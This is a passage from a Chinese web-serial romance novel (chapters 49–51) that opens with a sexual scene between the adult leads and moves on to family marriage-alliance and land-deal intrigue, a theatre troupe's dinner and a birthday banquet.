他边亲着她的唇,还要去拽裙子吊带,她慌忙抓住他的宽厚手掌,声音是颤抖着的,“在院子里呢。” 他们此刻坐在凉亭中的摇摇椅上,傅随之挺直腰靠近她,舌尖故意在她耳廓磨了两下,“我回来后已经让他们都撤了,整座院子现在只剩下我和你。” “嗯?” 说罢,他身体往后躺,带着她也半趴在他身上。 她单薄手掌贴着他结实胸膛压下去,不经意地碾过。 他神色变了变,手掌贴着她单薄脊背,扶着她往前又挪了些。 刚刚好。 他垂眸,望入她那双明亮桃花眼中,唇角沾染了笑意,难得有着无尽的耐心和温柔,“小纾的问题,我用行动回答,好不好?” 他身体壮硕躺在这摇摇椅上,像是压住了一叶扁舟,他轻轻一踩,两人在这扁舟里摇摇晃晃,林青盏只能揪住他的衬衫才能勉强稳住,但身体还是会随着惯性晃动。 他抬起头,林青盏往前,猛地亲上他的唇,惹得他身心愉悦。 “看来小纾很喜欢。” “我才没有。” 话音刚落,有温热攀上。 那最后一层隔阂也被撤离。 她双手压着他胸膛想要逃,却被他摁回去,一时间有些无措地承受着不停往上的压制,像是手里的气球飞走了,飘飘荡荡飞到小树旁,被树枝抵住。 气球惯性往下掉落,树枝的冲力仍在。 瞬间,掉落。 她紧紧咬住嘴唇,不想让自己败下阵来,但反应很明显,她能够感觉得到。 傅随之手掌贴着她后背轻抚着,温热嘴唇蹭着她的肌肤,一寸寸吻过去。 “你问三哥心底有没有你?”他抓住她的肩膀,吻得热烈,“三哥心底只有你,哪里都是你。” 他稍微用力,踩着摇摇椅摆动,他们也跟着晃动,这种感觉惹得她眼眶发红。 即便是盛夏,凌晨五点时分,空气里略有凉凉的湿气,被风吹拂而来,落在她后背,激起阵阵冰凉。 前面又贴着他滚烫的胸膛—— 她紧紧抓住他的肩膀,干净整洁的指甲掐着他结实的肌肤,她咬着牙,听到他低沉的声音继续传来,“小纾,三哥是不是没告诉过你,只有你能这样。” 掌控他所有。 林青盏其实没多少心思去认真听他说话,只觉得今天的他特别欲,说出的一字一句,都像是故意要将心底的妄念剖给她看。 “从你第一次坐在我身上,我就想这么做。” 他扶着她的腰,随着摇摇椅晃动。 他为她将鬓边的湿发往后拂去,“今夜在你最喜欢的星星下,三哥跟你保证,往后余生都只会有你一个。只有你一个人能用它,好不好?” 即便思绪再涣散,林青盏也听懂了他这话的意思。 傅随之贴过来在她耳边说,“三哥这辈子只跟你做,若有违誓言,往后必然不会有好下场。” 林青盏慌忙捂住他的唇。 手臂举起,露出手腕戴着的那纽扣手链,细细的链子贴着她白皙肌肤,很是好看。 傅随之抓住她的手,吻了吻她的手背,又去亲吻她的指尖,神色是虔诚的,“我要是这都做不到,也不用留什么好下场。” 他摸到她手腕上的链子,知道她的心思,留着他的纽扣就像是与他时刻紧密在一起。 他又何尝不想这样。 “用力咬。”他声音低哑得可怕,“不用怜惜它。它就是让你用的。” 林青盏见他越说越荒唐,忍不住往他肩膀捶下去,“真应该让他们看看,堂堂傅三爷竟是这样的混球。” 他轻笑一声,在她肩膀吻了吻,又去找她的唇,“我只对你混,好不好。嗯?” 林青盏不想理他。 傅随之抓着她手腕,极其虔诚地吻住她手腕的纽扣,随后双手扶着她的腰,支撑着她往前挪,又后退几分。 反复地。 幽暗小院子里,亮着闪闪发光的星星灯。 灯光环绕的凉亭里,身穿黑色衬衫的男人悠然靠在摇摇椅上,身上坐着的女人被他抓着手腕,像是放飞的风筝又拽了回来。 曼妙的身姿,如白雪般肌肤泛起一片片红。 她与他十指紧扣,轻轻地摆动着,犹如翩翩起舞的蝴蝶,飞入幽深美丽的境地,跟他一起坠入欢乐谷中。 天将亮时,天空下起了蒙蒙细雨,像是断了的线似的,从凉亭外往里面吹拂而来。 林青盏身上的睡裙已全然被撕毁,傅随之的黑色衬衫也消失无影踪,他倒是无所谓,是怕她高烧刚好又生病,只能匆匆将人抱起来往屋里走。 这一路,她并不好受。 趴在他结实的肩膀,没忍住对着他脖颈狠狠咬了一口。 傅随之没有吭声,只是刚走进屋子,压根没等,抓了毯子盖在她身上,直接将她抵在木门上,再一次热烈地占有她。 真正结束已是天明。 傅随之将她放在床上,从身后抱住她亲了亲她的耳廓,林青盏实在累得撑不住,闭上眼睛的同时往后推了推他,“不要了。” 他笑着将她搂得更紧,贴着她耳廓说了句话。 林青盏是能感觉有什么发生了变化,但再也撑不住,沉沉睡去。 睡下前,好似听到傅随之说的那句,“你睡你的,只是放一下。不动。” 男人的嘴骗人的鬼!- 林青盏今年二十好几,并不是什么无知少女,随着宋雅薇说什么就信什么。 但她信贺兰承的话。 贺兰承没有否认宋雅薇说的事情,只说还在查找真相,但他一回来就多次提醒让她离开傅随之,这次更是直接想带她离开,事情恐怕八九不离十。 如果林峰平真的跟傅清庭的死有关,那她会用自己的方式来弥补傅随之。 只是傅随之知不知道这件事? 如果傅随之知道了,能接受她是杀父仇人的女儿吗? 林青盏不敢将这件事告诉任何人,包括顾蝉,只能憋在心底,想了好几个日夜,终究没有什么眉目,只能深深放入心底。 她想着之后找个机会和贺兰承碰面,再仔细和他谈一谈。 她勉强放下事情,照常往返望月台和海棠湾之间,除了上班就是回来和傅随之腻在一起。 从古城回来后,傅随之推掉了所有商业应酬,按时按点去公司上班,下了班就回海棠湾,清闲得完全不像集团总裁。 秦楠和傅慎却没有跟着清闲下来。 傅随之之所以如此,是故意表态给老爷子看的。 那日祭祖,老爷子让傅随之和沈家联姻,傅随之反手丢出一根在浮云寺抽来的签,说他不宜婚娶,否则不仅影响他,还会影响傅氏集团的气运。 话说到如此,傅怀锦和沈家蓉还是没有放弃。 据闻他们亲自往浮云寺去了一趟,找到住持,求着他去了趟傅家老宅,想着有没有什么破解之法。 那住持大师早年间和傅怀锦有些渊源,受他所托不好推辞,当真给老宅布了风水,和傅氏族长在后院静坐三天为傅氏集团祈福。 一根签,一份说辞,就这么被破了。 傅怀锦坚持,联姻还是得继续。 第50章 傅怀锦还郑重其事让人过来给傅随之通知,让他不必忧心那签语,紧接着又跟沈家那边打得火热,一副势必要将沈钰铭娶进门的姿态。 这次傅随之倒是没说什么,只随着他们去费心操办。 反正最终新郎不会是他。 他“摆烂”的这些天,让秦楠整日盯着傅鸿源和沈钰铭。 傍晚时分,秦楠接到电话过来海棠湾这边报备情况,看到傅随之姿态悠然地坐在玻璃花房里,边欣赏海棠花,边喝着茶。 他迈步走过去,“爷。” 傅随之挑眉看他。 “傅清檐果然去找了京圈沈家人,想必是要京圈那边出面,为沈钰铭重新择选结婚对象。” “好事。” 傅随之穿着黑色衬衫,坐在米白色沙发上,神色虽有些放松,只是气场太过强大,远远看着像是冷傲山间的雪莲,又冷又傲。 “爷神机妙算。” 傅清檐蛰伏这么久,仍旧惦记着家主之位,总想着扳倒 傅随之,自然不可能让傅随之和沈家联姻成功,稳坐家主之位。 原本傅随之在祭祖时说出那番言辞,他就想拿出来大作文章,给傅随之弄个危害傅氏气运的不好名声,还想着给傅随之找点事,这样就能让族长长老和公司的董事放弃傅随之。 只是没想到傅怀锦还是比他高明许多,不过三两下就让局势扭转。 傅清檐眼看着傅老爷子都开始筹备婚礼,再也坐不住,亲自去了趟京都,找到沈家家主,想要借机攀上沈家。 傅随之并不慌,他已经铺好了路。 沈家现在管事的是沈叙川,但其实真正做事的是沈砚修,沈砚修是周家的人,而傅随之和周家掌权人周聿淮交好。 傅慎上前一步说道:“已经和周聿淮联系,他那边会和沈砚修通知,傅清檐既然想和沈家联姻,自然要成全他。只是过程不好说顺利不顺利的。” 傅随之修长指尖端起茶杯喝了口茶。 秦楠:“沈砚修办事靠谱,不用担心。至于沈钰铭那边,林博昶说会安排好。对了,林博昶月底的生日派对在香桂芳举行,当天他包下了香桂芳的三层,宴会弄得很是奢——华。” 他原本是想说奢靡的,纸醉迷金的,但终归还是没说出口。 “这些年,林博昶一直想光明正大成为爷的人,这次的事件基本也要告一段落了,爷的意思是?” 傅随之端着茶杯转悠,没什么表情说道:“准备一份大礼,当晚我会过去。” “好。” 林青盏回来的时候,刚巧看到秦楠和傅慎从玻璃花房里出来。 她望了望花房深处,“三哥在里面吗?” 秦楠往旁边让了让,“三爷在里面等着林小姐。” 林青盏礼貌点了点头,迈着步伐往里面走去。 白昼的玻璃花房没有星星点缀,有着各式各样的海棠花,也不显得单调。 林青盏走进去,看到傅随之侧身坐在沙发上,手指捏着茶杯,悠悠转动着,神色永远是那淡淡的清冷姿态。 她脚步轻,走进来时傅随之没听到,林青盏目光锁在他身上,见他盯着面前的黑色小茶桌,眼神是不熟悉的犀利狠戾,吓得怔住。 她记得傅随之来望月台将她带走那夜,她看到的傅随之就是如此,周身像是沁着寒冰让人不敢靠近,后来到了傅氏老宅,他虽然平和许多,但周身的那股冷依旧让人颤栗。 后来她主动跟了他之后,他对她有了男人对女人的欲,身上的那股冷倒是被掩盖了大半。 没想到今天四下无人时,他是这种姿态。 察觉到有影子,傅随之抬眸,看到是她,眼底的那股子如冰霜般的潮水退却下去。 他对她伸出手,“过来。” 林青盏往前迈步,将纤细手掌递给他,自然而然坐在他身上。 他手掌在她腰间摩挲,“今天回来的比较晚。” 她双手自然环住他的脖子,手掌贴着他的肌肤。 “演出结束后,师姐把我叫住说事儿。前段时间中秋节,台里很多表演,紧接着我又去拍摄了娜娜的那个服装视频,台里的聚餐一直没有弄。师姐说想明天叫大家一起吃个饭。” 两人心意相通后,她会跟他说她的事情,傅随之倒是难得有耐心陪着唠嗑这些。 林青盏唇角带笑,“以前我们每到节日都会聚在一起吃饭。台里的张叔,做大锅饭超级好吃,还有菌汤熬得特别好。” 她说话的时候,眉毛往上挑,神色很是灵动。 傅随之背靠着沙发,眼睛望着她略带柔情。 “还有鸡汤也很好喝。你喜欢鸡汤吗?或者鱼汤?” 傅随之手掌捧着她后背支撑着她,“吃食我比较不在意,中国菜就行。” “看来你也是中国胃。”林青盏笑着摸了摸他的脸,“水果你好像也没有特别的爱好。那你就没有特别喜欢的吗?” 傅随之点了点头,“有。” “嗯?是什么?” 他抬头对上她那纯净如星空的桃花眼,“你。” 特别喜欢的只有你。 顿了片刻,林青盏将脸埋进傅随之颈窝。 外人都说傅随之心狠手辣,没有半点柔情,他们是不知道,这个男人当真想说甜言蜜语,能像海浪一样将人淹没。 两人在花房里待了许久,天逐渐暗下来,玻璃花房里的星星灯自动亮起,从白昼到黑夜的转换,并不会让人恐慌,反倒是多了一丝浪漫。 傅小灵过来提醒晚餐准备好了,傅随之才抓着林青盏肩膀将她往后推,两人站起身往外走去。 刚走到客厅,秦楠捧着一个咖色木盒进来,“爷,林博昶让人送来的。说是他生日高兴,淘了些宝贝,觉得这个很适合您,就让人给送来了。” 傅随之蹙眉,“他生日,送我贺礼?” 秦楠笑出声,“他说想哄着爷开心,指不定就让他上位了。” 傅随之冷笑,“脑子不清楚。” “那可不是。”秦楠看林青盏一脸迷惑,解释道:“小姐知道了吗,林博昶是爷的人。” 林青盏摇头。 秦楠解释:“之前林家有难,林博昶自个儿找到爷求帮忙,爷本来不想插手,是他把自己卖给爷。” “卖?”林青盏诧异。 傅随之脸冷了几分,“好好说话。” 秦楠笑:“就是签了个卖身契,林博昶要一辈子给三爷打工。” 那时候,傅随之是想着毕竟是林家的人,林博昶上面还有个林博蘅,指不定以后还能用上,就答应了林博昶的要求,出手帮了林家一把。 就这样,林博昶成了傅随之的人,不过傅随之觉得林博昶生性浪荡,典型的纨绔子弟,就说让他先好好历练,没急着用人,所以很多人还不知道这事。 秦楠:“林博昶有自己的圈子,打探消息很快。这些年,没少往爷这里送消息。” 傅鸿源那边的情况,也都是让林博昶盯着的。 前段时间林博昶脑子抽了似的,又去勾搭上宋雅薇,连带着慕觞淙那边的消息也跟着传过来。 傅慎在旁边解释,“他自己要那么干的,不是三爷吩咐。” 秦楠拼命点头,“对对对,跟爷没关系。不是爷安排的,他就是自己想一出是一出。当初爷让他历练打探消息什么的,也都是托辞。其实啊,爷就是单纯嫌弃他,不想让人知道他靠着的是爷的势力。” 傅随之会嫌弃人,这倒是不稀奇,毕竟他谁都看不上的样子。 林青盏见傅随之眼眸清冷,明显对那木盒子不感兴趣,便想着替他打开看看。 她纤细指尖捏着小金锁,轻轻一翻,秦楠和傅慎想阻止都来不及,木盒里的东西就这么出现在林青盏面前。 一个玉器。 形状非常逼真。 吓得林青盏脸色都白了。 傅随之倒是从容不迫,伸手为她将眼睛盖住,使唤秦楠和傅慎,“拿走。” 等人都离开了,林青盏终于缓过来,转身扑进傅随之怀里。 “林博昶干嘛送这东西啊!” 难得看她像只兔子似的跳脱,气得连带耳朵都红了,傅随之笑着揉了揉她的头发。 “这是个好东西。” 林青盏毫不犹豫在傅随之腰间拧了一把。 吃完饭回到房间,林青盏再次看到摆放在傅随之书桌上的那东西,拿起来就往衣帽间角落里走去,藏起来,希望它 不再见天日。 隔天一大早,阮青山和兰青翎就让人去菜市场买鸡鸭鱼肉,让张叔早早就给安排炖上了鸡汤。 下午两点那场表演结束后,所有人都回到后院,帮忙准备聚餐的食材。 晚霞红透半边天,将后院的青砖墙染成了浅红色,像是节日摆放在供台上的橙橘,颜色让人看着就觉得心情美妙。 林青盏卸了戏妆,换上一身素净的旗袍,青黛色,衬得她皮肤越发白皙,手腕戴着的芙蓉玉手镯和纽扣手链碰撞,发出很轻微的声响,成了她特有的伴奏。 见她过来,阮青山对她招了招手,让她坐在兰青翎旁边,将一小盘的玫瑰青提摆在她面前。 “今天的《贵妃醉酒》唱得很好,给你的奖励。” 林青盏双手拂过旗袍裙摆,坐在竹凳子上,抿唇一笑,细眉弯弯很是好看。 “谢谢师哥。师哥这么好,以后必然要娶个漂亮老婆。” 兰青翎为她双膝盖上浅灰色的毯子,“你这张小嘴啊就是甜,难怪大师兄一向最疼你。” 阮青山对着兰青翎额头弹了一指,“你这话说得就很没良心,我是不是什么东西都第一个给你,青提给你洗了,西瓜给你切了,你还要说什么尽管提,别说师兄只会疼小盏。” 兰青翎笑得爽朗,“我就说了一句。” “你这句就不得了,听着就是对我有意见。” “我可不敢啊!” 林青盏在中间故意掺和一脚,“我也觉得师兄老疼师姐了,什么都先给师姐,哼。” 阮青山咂舌,“你们这两个小没良心的。我整天好吃好喝伺候着你们两个,现在联合起来闹我?” 林青盏笑得灿烂,“那可不,我和师姐还是一队的。” …… 何青素刚换好衣服走过来,抬眸看到他们说说笑笑很是亲密的姿态,心底又是一阵不是滋味。 本来以为攀上了慕觞淙,她就能过好日子了,但事实好像不是如此。 何青素很早就喜欢慕觞淙。 那时候慕觞淙每次来望月台都是往林青盏那边去找她,何青素就在院子角落里等着,有时候在走廊上一坐就是一下午才能等到慕觞淙。 那会儿慕觞淙眼底只有林青盏,压根不会多看何青素一眼。 后来慕觞淙将林青盏送到傅随之那边,她心底嫉妒林青盏能攀上傅随之,但也有些高兴,毕竟她终于有机会可以靠近慕觞淙。 她故意到慕觞淙面前晃荡,没想到慕觞淙当真让她上了他的车,只是慕觞淙要求她替他往林青盏那边送消息。 何青素虽然不喜欢,但为了能跟慕觞淙在一起,什么都不敢多说。 那次之后她从慕觞淙那边听到,傅随之因为他靠近林青盏,对他大打出手,还断了他港口的很多货物的线。 为了这事儿慕觞淙跟宋雅薇还发生了争执,据闻是宋雅薇压根不帮他,也是那天何青素在他们两人大吵一架后,跟慕觞淙发生了关系。 因此,慕觞淙说让她待在他身边。 她一直以为,慕觞淙不喜欢宋雅薇,跟她联姻只是无奈之举,那她即便被养在外面也无所谓,她愿意没名没分跟着慕觞淙,只要慕觞淙心底有她就行。 可昨晚,她在照顾喝醉酒的慕觞淙时,突然听到慕觞淙在叫着的是林青盏的名字,这已经不是第一次了。 她问慕觞淙,对林青盏是不是动过心,现在还念念不忘? 慕觞淙一句话没说,转身就走了。 现在看着林青盏笑逐颜开的精致脸庞,何青素心底特别不是滋味。 见她一直站在原地,阮青山招手,“小素,过来坐这里。我给你们买了水果,很甜。” 何青素缓过神来,看到林青盏也对她招了招手。 她心底的情绪更加复杂- 对面今安茶楼里。 二楼走廊的包厢大门敞开着,徐泽也和顾宴迟到的时候,其他三人已经在了。 一身黑色的傅随之靠坐在沙发中央,旁边坐着的是大块头唐郁东,身穿白色西装的纪时礼站在窗边,嘴里叼着根烟。 徐泽也和顾宴迟走进去,“都来了。” 纪时礼转身,“你怎么突然叫我们?” 徐泽也用下巴点了点傅随之,“傅三有事。” “什么事?” 傅随之还没开口,唐郁东抽着烟说道:“要跟周家合作的事情?” 唐郁东性情比他们几个都直接,不过他脑袋聪明,他们几个耍什么手段,基本上都难逃他的眼睛。 傅随之坐在木沙发上,修长手臂自然搭在扶手,嘴角吊着一根烟,白雾袅袅间,他抬起眼眸,眼底是外人畏惧的清冷阴狠。 “最近老头子和傅清檐动作不少,我不能用傅氏那边接这个项目,想用今安的名义去对接,事情都让老二去办。” 他们兄弟几个虽然感情好,但说到底当初进入浮梦今安,都是为了各自手里能拿捏住利益。 这些年他们互相创造了很多收益,彼此是互相相信的,但涉及到钱的问题,总是要提前开个会敲定。 傅随之将手边的方案给他们人手一份。 “京圈周家政商通吃,你们也是清楚的。这些年京圈顾家那边发展也仰仗着周家,两家联手发展很好。” 傅随之说的京圈顾家,跟浮城顾家是同根生。 顾家是土生土长的浮城人,几百年间发展都很不错,百年前顾家人丁兴旺,顾宴迟的爷爷继承了家族事业,伯祖父去了京圈发展,叔祖父叛逆去了临城,从此三兄弟分别在京圈、浮城和临城扎根,倒是都发展得不错。 “顾家这几年已经成了京圈的新生力量,给周家的很多,但毕竟势力和资金局限在京圈,能给周家的有限。周家就想培养其他势力。” 傅随之看着顾宴迟他们,“是我找的周聿淮。浮梦今安和浮城顾家有关,也算是多了一份保障。” 唐郁东看他,“周家要做这个项目?” “资金要往外扩,必须要有项目。周聿淮准备这个项目很久,其他方面的会有区域差别,机械生产却不一样,这个很容易因地制宜生产。蓝盛项目能谈成,以后周家出资,厂办在浮城。” 顾宴迟:“这么大的项目,需要政.府支持,而且地点也是重头。我记得你现在手里没有这么大的地皮。” 傅随之抬眸,“我没有。傅鸿源有。” 纪时礼疑惑:“你要跟他买西郊那块地?” 当初傅鸿源想方设法往傅随之身边送了个林青盏,一个是想往他身边安插棋子,另一个就是想哄着傅随之将西郊的那块地卖给他。 因为傅鸿源手里拿着几块散地,分开建居民楼卖不出什么好价钱,当时政.府还有消息要往那边建地铁,成立新的中心点,所以傅鸿源高价也要买走傅随之的地,整个区域的地都被傅鸿源握在手里。 傅鸿源以为自己发大了,没想到政.府文件出来,要开发的是东郊,北郊还没消息。 这么大半年过去了,傅鸿源想要开启项目没资金,而且新的城中心没在北郊,建起来也是亏钱,所以一直砸在那里。 傅鸿源一直想要让人接手那块地,只是苦于没有接盘侠,最近却突然传来已经在谈了。 顾宴迟反应过来,“所以你就是那个接盘侠,你把那块地和傅鸿源的那几块散地也都买过来了?” “不错。” 傅随之掏出买卖合同,明显流程都走完了,“我让大哥出面办的。” 众人转头看向唐郁东。 纪时礼瘪嘴,“你刚问傅三那话,我还以为你不知情呢,感情地都是你给买好的。” 唐郁东“啧”了一声,明显对纪时礼给他使性子不爽,纪时礼果然一听这声音立马怂了。 当初唐郁东进入浮梦今安就是以武力获胜,打得他们几个不得不服,纪时礼平日里时间最多,经常被唐郁东抓起操.练,有时候打一天拳下来,能废掉他半条命 ,他不怕唐郁东都不行。 唐郁东梳着大背头,大大咧咧坐在沙发上,“地是我买的没错,但我也不知道傅三的计划,当时傅三就叫我买地,没说其他的。” 纪时礼忍不住又嘀咕,“傅三叫你买地你就买地,你也不怕他卖了你。” “老子钱多乐意。” “……”这话说得一点没毛病,联盟里就唐家最有钱了。 傅随之将购地合同放在桌面,“地没问题,现在就是项目怎么谈。周聿淮很谨慎,他要挑选的合作方必然要是长久的。浮梦今安是我们五个的,能以浮梦今安去合作,好谈。” 徐泽也翻了翻方案,“你想做就做吧,我们几个没意见。” 顾宴迟点头:“能赚钱的项目我都行。毕竟我还要存老婆本。” 纪时礼很嫌弃地白了他一眼,“就你要娶老婆,切。” 顾宴迟笑:“你倒是想娶老婆,可是你的老婆是别人的未婚妻。” “……”他妈的。 顾宴迟揉了揉他的脑袋,“别废话。表态。” “谁不知道我为了赚钱不择手段,我还能不同意?” 四人通过,剩下一个唐郁东。 众人看向他,他那张脸着实凶狠,没什么表情回望,让人看着有些害怕。 “我钱多,随便玩。” 众人:“……” 想爆粗话! 一致达成,傅随之盖上项目书,“那就老二主力,和我一起去跟周聿淮谈。” 唐郁东拍板:“行。” 事情谈完了,大家悠然喝着茶。 纪时礼突然贼兮兮靠近傅随之,问了句:“傅三,我记得蓝盛这个项目周家那边已经准备了两年了吧,你当时捏着那块地,其实是有准备的吧。那你最后怎么会把地拱手送出去?” 傅随之抬眸看他,难得认真:“美人所惑。” 当初他确实没有把地给傅鸿源的打算,所以傅鸿源几次上门都被他退回去,只是没想到傅鸿源会送来一个林青盏。 纪时礼嗤笑,“我记得你当初可不是这么说的。你知道傅鸿源往你身边送了个姑娘,还是慕觞淙的人,你可是说留着人就想看看傅鸿源和慕觞淙能玩什么花样!当时我看你对人姑娘也没什么兴趣的样子,可转头把人留下让人太意外了。一会儿没兴趣,一会儿又美人所惑。到底那句是真的?” 傅随之眼眸深了几分,“都是。” 当时他就知道林青盏的身份,还以为她是因为慕觞淙指使来他身边打探消息的,只是没想后来发现她一心只想找哥哥罢了。 傅随之知道林解下落不明,为了让她安心,还让棠严峻弄了个假的登记册。 纪时礼还想问,顾宴迟见傅随之脸色变了,赶忙将纪时礼的嘴捂住。 又喝了会儿茶,傅随之收到林青盏发来的消息,「我差不多好了。你下班了吗?」 他唇畔带笑站起身。 纪时礼不解,“这就走了?” 傅随之抬了抬下巴,“去接人回家。” “……” 等傅随之走到门口,纪时礼突然大叫,“傅三你真不是个东西啊,特意把我们叫过来谈事。你自己倒好,还在这里秀恩爱跟美人跑了!就你有家回啊。” 顾宴迟默默加了句,“他还有美人在怀。” 纪时礼:“……” 他妈的,想打架!—— 作者有话说:沈砚修、周聿淮,京圈的男主。 沈砚修的文已经开了,专栏里《坠落春夜》喜欢可以收藏下。 周聿淮的等预收文写的少一点再放。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-55 第51章 给傅随之发完信息,良久都没收到回复。 林青盏以为他还在忙,将手机收起来,想着再和大家伙儿聊天下,时间差不多就回海棠湾。 阮青山正在说着他前段时间去京都协会参加文化宣传活动遇上的一个天才,那唱腔非常有技巧,主要是嗓音好。 “我看那孩子的父母很会培养,以后指不定是颗闪亮的新星。” 兰青翎起了话题,“如果以后我们有了孩子,你们说他们会喜欢唱昆曲吗?” 何青素率先回答,“我不会让我的孩子唱戏。” 当年她就是因为家里穷,没上学,被送来这边学唱戏,想着以后能混口饭吃。在望月台听着名声是好,但说到底就只是个唱戏的,世俗眼光始终对他们是不友好的。 别人看不起他们,但他们总不能看不起自己。 她这话一出,在场所有人尬住,就连朝露和白云都蹙了蹙眉,相视一眼。 是林青盏站出来解了围,“其实还是要看孩子的喜好。如果头脑聪慧,当然是要学习为主,但如果小孩子很喜欢,昆曲也是一门很大的学问,以后上学可以专门往这方面发展。” 兰青翎轻巧接过话题,“当然了,这些的前提是我们得有孩子。” 众人大笑,“没错。” 话题就这么揭过去了。 阮青山手掌搭在林青盏的脑袋,悄无声息地揉了揉,是给她的行为点赞。 这些,傅随之刚巧全看到了。 他一身黑站在院子入口,身后跟着秦楠和傅慎,活像阎王爷一样让人畏惧。 他目光冷冷落在阮青山那只手掌,那眼神极为阴狠,好似要将阮青山的手折断似的。 有人看到他,止住声音,众人有所察觉转头看向门口,见傅随之站在那儿,朝露率先站起身迎接。 “三爷。” 傅随之总算收回目光,冷冷看向朝露,但也仅仅如此。 朝露比他大了一轮,在他面前却不敢拿乔前辈的身份,还得恭恭敬敬地将他往里面请去。 “三爷过来找小盏的么?” 面对他人,傅随之从来都是那副清冷的面容,“来接她回家。听说你们今天聚餐?” 朝露和白云站在他面前,笑着说道:“就是整个大家庭吃吃饭聊聊天,今天的饭菜特别好吃,三爷要坐下一起吃点吗?” 林青盏实在无法想象傅随之跟他们一起坐在竹凳子上,围绕着长方桌一起吃大锅饭和烧烤串。 恐怕他自己都无法接受。 林青盏站起身,黛青色旗袍叫她看起来极为温婉。 她望着朝露和白云,笑着说道:“师傅师伯,我吃得差不多,之后有些事情,我们还是先走了。” 她提起旁边的一个麻布袋子,走到傅随之身旁,抓住他宽厚手掌,“我们可以走了。” 傅随之点了点头,再没看其他人,拉着她离开。 上了车。 傅随之转身看向她,“待会有事?” 林青盏摇了摇头,“都是托词。我只是无法想象,你跟大家围坐在桌子前的模样。” “嗯?” “太接地气,都不像你。”她笑。 这点说得不假。 老爷子从小对他极为严苛,吃穿用度上却总是给他最好的。 他以往吃的都是宫廷后代大厨准备的美味佳肴,用餐的地方是七八米的定制餐桌,有专门的香薰调和味道,还有人专门布菜。 就算是简单一道扬州炒饭,都可能是唐朝玉瓷盘装上来的。 即便是每日最简单的工作餐,都是荷香居大厨定时烹饪的菜肴。 他从来没有和那么多人围着桌子吃饭的经验,也不是很感兴趣。 不过今天他走进后院,看到林青盏 坐在矮凳上,与四周的人说说笑笑时,确实从她身上看到了一股烟火气。 很真实。 跟她在他面前所表现的不一样。 他转身看她,抓住她纤细手指,与她十指紧扣。 林青盏目光从两人纠缠的手指略过,这一刻才真正感觉到他们的关系好像变得不一样,不再是简单的肉.体关系,而是有了精神和心理的牵绊。 她抿了抿红唇,“你吃饭了吗?” 傅随之摇头,“茶倒是喝了不少。” 他说起为了等她,到今安茶楼坐了会儿。 林青盏心底触动,突然觉得这种平淡的相处也是一种很美好的事情。 她将他的手掌抓得更紧,“我早跟你说过,张叔煮的鸡汤味道一绝,之前老师还会到台里来蹭鸡汤喝。刚刚开锅前,我打包了一小壶,等下让你尝尝。” “好。” 林青盏抬眸看他,总觉得今日的他好像有些不一样。 两人单独坐在后座,只是隔空对望,就能从彼此眼底看到最真实的自己扬着笑脸,空气里都像是冒着粉色的泡泡。 她很喜欢也很珍惜这种状态。 到了海棠湾,他先一步拿起她放在旁边的袋子,下了车跟她一起往里面走去。 傅小灵提前接到傅小敏的通知,已经准备好晚餐,不过傅随之没动,他坐在饭桌前,看着林青盏将鸡汤倒入白瓷碗中,慢慢推到自己面前。 他挑了挑眉,“不喂?” 傅小灵和傅小敏就站在旁边等着布菜,林青盏实在不适应在外人面前和傅随之亲昵,羞红了脸,抓住傅随之的手,将白色汤匙塞进去。 “快尝尝。” 傅随之知道她的性格,适可而止,没再逗她。 他慢条斯理地喝着鸡汤,难得点头称赞:“不错。难怪小纾喜欢。” “是吧。” 林青盏像是得到夸奖的小孩,满脸笑容,连带着话都多了些。 “我记得我刚到望月台那天,饥肠辘辘,张叔那天刚好炖了鸡汤,就给我先舀了一碗。喝下第一口,我就被他的厨艺征服。就感觉那股浓醇的香气从喉咙跑进去,全身细胞都是鸡汤味儿,很香甜。” 傅随之神色平淡点了点头。 他从小吃过很多美味佳肴,美味的鸡汤自然也尝过无数,其实并不觉得这碗鸡汤真如林青盏所说那样。 但听到这话,明白林青盏对于这鸡汤的喜爱缘由,没有多说什么,只静静听着她讲故事。 后来几天,他们的相处也是这样,傅随之空了就过去接她回家,两人面对面坐着一起吃饭,闲聊一整夜。 林青盏渐渐也有所察觉,傅随之没有以前那么忙碌,在家里几乎不开视频会议,心思不免多了起来。 她曾在床榻上小心翼翼提及自己的疑惑,傅随之只说公司最近没什么项目,所以比较空闲。 林青盏从来都是他说什么,就是什么,也没有怀疑,转过身闭眼就睡着了。 许是这段时间吃得太好,她总觉得自己胖了些许,睡眠也跟着好了不少,总感觉每天都睡不够。 跟顾蝉说起时,顾蝉也说盛夏时节,她总想打盹- 转眼到了林博昶生日宴会当天。 傅随之既然答应了林博昶,就会说到做到,带着林青盏一同前往。 林博昶这人生性爱玩,最是会找地方。 浮城南郊有个楼盘是港城闻家的,以中式庄园风为主,耗费10亿,仿得跟苏州园林相似。 其中有个山庄是闻家二公子的地盘,里面弄了个仙池美轮美奂,还有专门赌博、吃酒、玩乐的地方,最是适合办这种多人一起玩的宴会。 林博昶办生日宴会的地儿就是这里。 车只能开到山庄门口,徒步进入。 今日林青盏身穿一袭浅紫色连衣裙,乌黑长发别着白羽发带,一步一步往前走着,像极了从天上落下的仙子。 而他身旁的傅随之依旧是一身黑衬衫黑西服,俊美脸庞锐利清冷,让人不敢靠近。 她挽着他的手臂走入山庄,院子里在玩投壶的几个人看到他们随即停了下来,恭恭敬敬唤了声“三爷。” 傅随之看都没看一眼,带着人往里面走。 宴会正厅里,整齐的长方桌摆着各式各样的吃食和香槟。 此刻里面人山人海,一簇一簇都围着在说话。 寿星林博昶和他哥哥林博蘅站在一起,许是林博蘅在说着什么训斥的话,林博昶虽然神色放荡,但从始至终目光都落在林博蘅身上,算是认真。 见他们走进来,林博蘅停下声音,像是嘱咐了句:“注意着点。”而后率先走过来,顶着林家家主的身份来招待傅随之。 林博昶见傅随之当真过来了,笑着迎上来,“三爷。” 傅随之淡淡“嗯”了一声,林博昶越发开心,“三爷,今天你能亲自过来给我贺寿,我真的是太荣幸了。以后全浮城的人都会知道,我是三爷的人。” 秦楠听不下去,“你为什么对成为三爷的人那么执着。跟个变态似的。” “你懂什么!”林博昶白了秦楠一眼,“你这种能整天跟在三爷身后的人不会懂我们的悲伤。所以,闭嘴吧你。” 秦楠:“……” 一旁听着的林青盏抿唇笑了。 她觉得林博昶还挺好玩的,长得像小白脸,眼神里满是放浪不羁,神色也是极狂的,莫名觉得跟傅随之气质略相似。 之前林青盏在慕觞淙和宋雅薇的订婚宴上看到过林博昶和宋雅薇的相处,更像是小狼狗的,可是他对傅随之怎么有种病娇地追随感? 